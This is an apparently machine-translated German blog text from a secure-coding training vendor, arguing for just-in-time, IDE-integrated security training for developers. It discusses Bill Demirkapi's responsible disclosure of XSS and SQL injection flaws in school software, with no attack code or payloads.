Stellen Sie sich nun vor, sie erhalten eine weitere wichtige Aufgabe... die Verantwortung für die Sicherheit der Projektelemente, mit denen sie zu tun haben. Im schlimmsten Fall kann dies dazu führen, dass das Kartenhaus für einige Personen zusammenbricht, aber das realistischere Szenario ist, dass es einfach nicht zur Priorität erklärt wird und die Probleme, die als dringlicher erachtet werden, um die Grenze zu überschreiten, Vorrang haben. Und wenn die meisten Entwickler nicht darin geschult sind, sicher zu programmieren (insbesondere, wenn auch ihre Manager der Sicherheit keine Priorität einräumen), ist es kein Wunder, dass wir häufig Datenschutzverletzungen, fehlerhafte App-Veröffentlichungen und eine ernsthafte Abwanderung unter Sicherheitsexperten beobachten, die unter einer Lawine von fehlerhaftem Code ihre Belastungsgrenze erreicht.

Entwickler brauchen einen AppSec-Befürworter.

Wenn Sie sich das obige Szenario ansehen, können Sie verstehen, warum die Sicherheit während des Codierungsprozesses in den „zu schwierigen“ Korb gelegt wird und dem Sicherheitsteam überlassen wird, sich darum zu kümmern. Zu viele konkurrierende Termine, zu wenig Schulung und kein wirklicher Grund, sich bei allem anderen um die Sicherheit zu kümmern. Es besteht jedoch einfach zu viel Nachfrage nach Code, als dass dieser Status Quo so weitergehen könnte. Und hier können sich Super-Elite-Entwickler von ihren Mitbewerbern abheben, neue Fähigkeiten erlernen und vor allem sichereren Code erstellen.

Es ist jedoch wichtig, sich daran zu erinnern, dass nicht alles auf den Schultern der Entwickler liegt, die Softwaresicherheit zu verwalten — das ist immer noch die Domäne des AppSec-Teams (das, wenn es mit sicherheitsbewussten Entwicklern zusammenarbeitet, mehr Luft zum Atmen hat, anstatt häufig auftretende Fehler wiederholt zu beheben). Ein funktionierender DevSecOps-Prozess erfordert, dass jedes Teammitglied über die Unterstützung und die Tools verfügt, die es benötigt, um gemeinsam die Verantwortung für die Sicherheit zu übernehmen, und richtige Art von Training ist von größter Bedeutung. Die richtige Auswahl an Tools und Schulungen erfordert das Wissen von AppSec-Experten, die bereit sind, eng mit Entwicklern zusammenzuarbeiten, um sie zu inspirieren und positive Veränderungen voranzutreiben.

Disruptive Schulungen sind eher lästig als effektiv, und alles, was Entwickler abschreckt, wird nicht funktionieren. Eine Alternative ist eine IDE- oder Issue-Tracker-integrierte Lösung, die sich auf gebündeltes Wissen konzentriert, und sie erhält die richtigen Informationen genau in dem Moment, in dem sie benötigt werden.

So funktioniert es in Aktion:

Just-in-time, nicht „nur für den Fall“.

Kontextuelles, praktisches Lernen ist bei weitem die effektivste Art zu trainieren, da mundgerechte Brocken genau dann geliefert werden, wenn sie am sinnvollsten sind. Dies wird manchmal auch als „Just in Time“ (JiT) -Training bezeichnet und ist für Entwickler, die sicheres Programmieren lernen, sehr hilfreich.

Mit Ursprüngen in Die Prinzipien der schlanken Fertigung von Toyota, Das JiT-Training ist so konzipiert, dass es nach Bedarf und im Kontext aktiviert wird, wenn es am wichtigsten ist. Hat ein Entwickler gerade etwas geschrieben, das anscheinend falsche Berechtigungen hat? Was wäre, wenn eine kleine Hintertür geöffnet würde, die es einem Angreifer ermöglicht, Code aus der Ferne auszuführen? Es wird viel einprägsamer sein, wenn Entwickler genau dann auf Wissen zugreifen können, wenn sie es benötigen, anstatt die Dokumentation in Confluence durchzuforsten oder etwas zu googeln, das in der Schulung angesprochen wurde.

Just-in-Time ist das Gegenteil von Lernen für alle Fälle. Letzteres ist zwar die gängigere Art der Wissensvermittlung, aber einfach nicht effizient. Wir müssen es Entwicklern leichter machen, sich mit bewährten Methoden für sicheres Programmieren zu beschäftigen und die Vorteile einer Weiterbildung für ihre Karriere zu erkennen, während sie sich gleichzeitig auf die wichtigsten Ziele konzentrieren, an denen sie gerade arbeiten.

Hören Sie auf, Entwickler dazu zu bringen, dem Training nachzujagen.

Wir wissen bereits, dass an einem Arbeitstag zu viel los ist. Welchen Anreiz haben Entwickler also, in ein Klassenzimmer zu gehen oder den Kontext zu wechseln, um fünf Schritte zu durchlaufen, um an Schulungen teilzunehmen, die auf statischen Theorien basieren?

Der allgemeine Konsens ist, dass alles, was die meisten Unternehmen tun, nicht besonders effektiv ist, wenn man die Anzahl der Sicherheitslücken, die zu Datenschutzverletzungen führen, bedenkt. Im Bericht von Verizon zur Untersuchung von Datenschutzverletzungen 2020 heißt es dazu 43% der Datenschutzverletzungen könnten auf Sicherheitslücken im Internet zurückgeführt werden. Entwickler werden weder im Tertiärbereich noch im Rahmen von Weiterbildungsmaßnahmen am Arbeitsplatz effektiv geschult. Wenn ja, häufige Sicherheitslücken wie SQL Injection und Old-School Pfaddurchquerung würde nicht für erhebliche Datenabgaben ausgenutzt werden, und der Fachkräftemangel im Bereich Cybersicherheit wäre nicht außer Kontrolle geraten.

Wenn wir also wissen, dass dies das aktuelle Klima ist, in dem Entwickler geschult werden und sich mit Sicherheit vertraut machen, warum sind wir dann überrascht über das schlechte Ergebnis? Es könnte sich sowohl für den Entwickler als auch für das Unternehmen positiv auswirken, wenn es darum geht, ein reibungsloseres, integrierteres und weniger störendes Schulungserlebnis zu gewährleisten, bei dem die Schulung in den Bereichen, in denen sie tatsächlich arbeiten, wie Jira, GitHub und in der IDE, zugänglich ist. Die Branche muss einfach vorankommen und das Sicherheitsbewusstsein deutlich verbessern, und das in einem Umfeld, in dem dies kein Luxus mehr ist.

Bereit, den Entwicklungsworkflow abzusichern?

Sicherheitsbewusste Entwickler werden für ihre Fähigkeiten und den Schutz, den sie Unternehmen bereits in der Phase der Codeerstellung bieten können, verehrt. Sicherheit ist nicht mehr optional, insbesondere angesichts der DSGVO-Bußgelder, der PCI-DSS-Compliance-Vorschriften, der NIST-Verwaltung... und der Möglichkeit, in einer großen alten Sammelklage im Wert von mehreren Millionen Dollar verklagt zu werden, a'la Equifax.

Ein integrierter Ansatz könnte der Katalysator sein, um Entwickler mit weniger disruptivem Lernen für sich zu gewinnen und einige Möglichkeiten für eingehendere Kurse zu schaffen, Sicherheitsexperten auszubilden und generell zu der gemeinsamen Verantwortung zu inspirieren, die wir brauchen, um die Sicherheit der Daten der Welt zu gewährleisten.

Laden Sie Integrationstools herunter für Jira und GitHub jetzt, und lass uns wissen, was du denkst.

Aktuelle Berichte des jugendlichen Sicherheitsforschers Bill Demirkapi Die Aufdeckung schwerwiegender Sicherheitslücken in der Software, die an seiner Schule verwendet wurde, hat sicherlich einige Erinnerungen geweckt. Ich erinnere mich, wie ich als neugieriges Kind die Haube über Software abnahm, um einen Blick hinter die Kulissen zu werfen und zu sehen, wie alles funktionierte – und was noch wichtiger ist – ob ich es kaputt machen könnte. Jahrzehntelang waren Softwareingenieure bestrebt, ihre Produkte kontinuierlich zu verbessern und zu stärken, und die Sicherheits-Community (obwohl sie manchmal etwas frech in ihrer Herangehensweise ist) spielt eine wichtige Rolle bei der Entdeckung von Fehlern und potenziellen Katastrophen, hoffentlich bevor ein Bösewicht dasselbe tut.

Das Problem dabei ist jedoch, dass er als Reaktion auf seine Entdeckungen eine geringfügige Schulsperre erhielt. Und das geschah erst, nachdem er alle Möglichkeiten ausgeschöpft hatte, das Unternehmen (Follett Corporation) privat zu kontaktieren, und sich schließlich für eine ziemlich öffentliche Explosion entschied, um sich und seine Fähigkeit, ihr System zu durchbrechen, zu identifizieren. Seine wiederholten Versuche, die Follett Corporation ethisch zu warnen, blieben ohne Antwort, während die Software weiterhin anfällig war und Berge von Studentendaten relativ leicht zugänglich waren, da ein Großteil davon unverschlüsselt war.

Er machte sich auch auf die Suche nach Fehlern in der Software einer anderen Firma: Blackboard. Die Daten von Blackboard waren zwar zumindest verschlüsselt, aber potenzielle Angreifer hätten hineinkommen und sich Millionen weiterer Datensätze schnappen können. Sowohl diese Software als auch Folletts Produkt wurden von seiner Schule verwendet.

Das Narrativ des „bösen Hackers“ ist problematisch.

Demirkapi präsentierte seine Ergebnisse auf der diesjährigen AUF JEDEN FALL, wobei die schelmischeren Details seiner Possen den Applaus der Menge ernteten. Zu Recht, wirklich. Obwohl er anfangs in den schlechten Büchern stand und viele Hürden auf dem Weg zur Anerkennung seiner Entdeckungen hatte, war die Follett Corporation Berichten zufolge dankbar für seine Bemühungen und befolgte seinen Rat, um ihre Software letztendlich sicherer zu machen und die Krise abzuwenden, die zu einer weiteren Statistik von Datenschutzverletzungen wurde. Nach dem Abitur wird er auch das Rochester Institute of Technology besuchen. Es ist also klar, dass er auf dem richtigen Weg ist, ein gefragter Sicherheitsspezialist zu werden.

Da ich selbst Sicherheitsbeamter bin, ist es schwierig, keine Bedenken darüber zu haben, wie mit dieser Situation umgegangen wurde. Obwohl in diesem Fall alles gut ausgeht, wurde er anfangs wie ein nerviger Drehbuch-Kiddie behandelt, der seine Nase dort hinsetzt, wo sie nicht hingehört. Eine Google-Suche nach dem Vorfall enthält Artikel, in denen er als „Hacker” bezeichnet wird (in den Augen des Sicherheitslaien positioniert ihn das in vielerlei Hinsicht als Bösewicht), obwohl sein Ansatz (und der vieler anderer) tatsächlich dazu beiträgt, unsere Daten zu schützen.

Wir brauchen wissbegierige, kluge und sicherheitsorientierte Menschen, die unter die Motorhaube schauen, und wir brauchen, dass das viel öfter passiert. Stand Juli über vier Milliarden Datensätze wurden allein in diesem Jahr durch böswillige Datenschutzverletzungen aufgedeckt. Diese Zahl könnte man dank des Verstoßes gegen die Mode- und Lifestyle-Marke im August um weitere fünfzig Millionen erhöhen Poshmark.

Wir machen dieselben Fehler, und was noch besorgniserregender ist, dass es sich oft um einfache Sicherheitslücken handelt, die uns immer wieder zum Stolpern bringen.

Cross-Site-Scripting und SQL-Injection sind nicht verschwunden.

Wie von VERKABELT berichtet, wurden die Community-Engagement-Software Blackboards und das Studenteninformationssystem Folletts von Demirkapi entdeckt, weil sie häufig auftretende Sicherheitslücken wie Cross-Site Scripting (XSS) und SQL-Injection enthalten, die Sicherheitsspezialisten seit den 1990er Jahren ein Dorn im Auge sind. Wir haben ihre Existenz eine Zeit lang wirklich lange ertragen, und ähnlich wie Hypercolor-T-Shirts und Disketten sollten sie inzwischen eine ferne Erinnerung sein.

Aber das sind sie nicht, und es ist klar, dass nicht genug Entwickler ein ausreichendes Sicherheitsbewusstsein aufweisen, um deren Einführung in ihren Code zu verhindern. Scan-Tools und manuelle Codeüberprüfungen können nur begrenzt viel bewirken, und es gibt weitaus komplexere Sicherheitsprobleme als XSS- und SQL-Injection, bei denen diese teuren und zeitaufwändigen Maßnahmen besser genutzt werden könnten.

Leute wie Bill Demirkapi sollten Entwickler dazu inspirieren, einen höheren Codestandard zu entwickeln. Mit nur 17 Jahren durchbrach er zwei stark frequentierte Systeme durch Bedrohungsvektoren, die hätten ausfindig gemacht und korrigiert werden müssen, bevor der Code überhaupt veröffentlicht wurde.

Gamification: Der Schlüssel zum Engagement?

Ich habe viel darüber geschrieben, warum Entwickler sich nach wie vor weitgehend vom Thema Sicherheit distanzieren, und die kurze Antwort lautet, dass weder auf Organisations- noch auf Bildungsebene viel getan wird, um sicherheitsbewusste Entwickler zu fördern. Wenn Unternehmen sich die Zeit nehmen, eine Sicherheitskultur aufzubauen, die Engagement belohnt und anerkennt, einschließlich der Implementierung von Schulungen, die die Sprache der Entwickler sprechen und sie dazu motivieren, es weiter zu versuchen, verschwinden diese lästigen Relikte von Sicherheitslücken allmählich aus der von uns verwendeten Software.

Demirkapi hat offensichtlich ein außerschulisches Interesse an Sicherheit und hat sich die Zeit genommen, um zu lernen, wie man Malware zurückentwickelt, Fehler entdeckt und, naja, Dinge kaputt macht, die von außen nicht kaputt zu sein scheinen. Aber im Gespräch mit LASTER (und über seine DEF CON-Folien) gab er eine interessante Aussage zu seiner Selbstbildung ab... er hat sie gamifiziert:

„Mit dem Ziel, etwas in der Software meiner Schule zu finden, war es eine unterhaltsame, spielerische Art, mir selbst eine Menge Penetrationstests beizubringen. Obwohl ich meine Recherchen mit der Absicht begann, mehr zu lernen, stellte ich fest, dass die Dinge viel schlimmer waren, als ich erwartet hatte “, sagte er.

Zwar wird sich nicht jeder Entwickler auf Sicherheit spezialisieren wollen, aber jedem Entwickler sollte die Möglichkeit gegeben werden, sich sicherheitsbewusst zu werden, wobei die Grundlagen quasi als „Lizenz zum Programmieren“ innerhalb einer Organisation dienen, insbesondere denjenigen, die die Kontrolle über die Unmengen unserer sensiblen Daten haben. Wenn die einfachsten Sicherheitslücken von jedem Entwickler gepatcht werden können, bevor sie überhaupt geschrieben werden, sind wir in einer viel sichereren Position gegen diejenigen, die Chaos anrichten wollen.

Neugierig auf gamifiziertes Training? Schauen Sie sich unsere Coders Conquer Security-Reihe an XSS und SQL-Injektion.